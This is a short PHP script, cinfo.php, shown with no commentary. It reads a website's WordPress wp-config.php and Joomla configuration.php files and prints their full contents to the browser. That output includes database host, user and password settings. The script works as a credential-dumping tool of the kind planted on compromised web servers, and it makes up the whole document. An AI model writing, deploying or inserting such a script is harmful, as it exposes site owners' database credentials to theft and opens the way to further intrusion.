cinfo.php

<?php
$suc = false;
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-config.php';
if(file_exists($f))
{
   echo 'Path: ' .  $f . '<br />';
   $aus = file($f);
    if(count($aus) > 0)
    {
        foreach ($aus as $v)
        {
            echo $v . "<br />";
			if(stristr($v, '$_ENV{DATABASE_SERVER}') == true)
			{
                echo $_ENV{DATABASE_SERVER};
            }
		}
    }
	$suc = true;
}

$f = $_SERVER['DOCUMENT_ROOT'] . '/configuration.php';
$aus = file($f);
if(count($aus) > 0)
{
    echo 'Path: ' .  $f . '<br />';
    foreach ($aus as $v)
    {
        echo $v . "<br />";
	}
	$suc = true;
}

if($suc != true)
{
  echo 'Not found file';
}


?>